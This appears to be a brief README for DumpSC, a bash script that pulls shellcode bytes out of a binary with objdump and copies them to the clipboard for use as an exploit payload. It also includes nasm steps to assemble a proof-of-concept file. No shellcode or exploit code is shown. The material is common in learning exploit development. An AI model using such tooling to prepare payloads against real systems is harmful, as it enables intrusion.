DumpSC is a simple bash script to extract the shellcode from a binary with objdump and copy on the clipboard for future injection
bash dumpsc.sh <binary>
Compile the pocsh.asm code:
nasm -f elf64 -o pocsh.o pocsh.asm
Execute dumpsc.sh passing it as an argument the generated binary
Get the shellcode ready to be injected as a payload in the exploit:
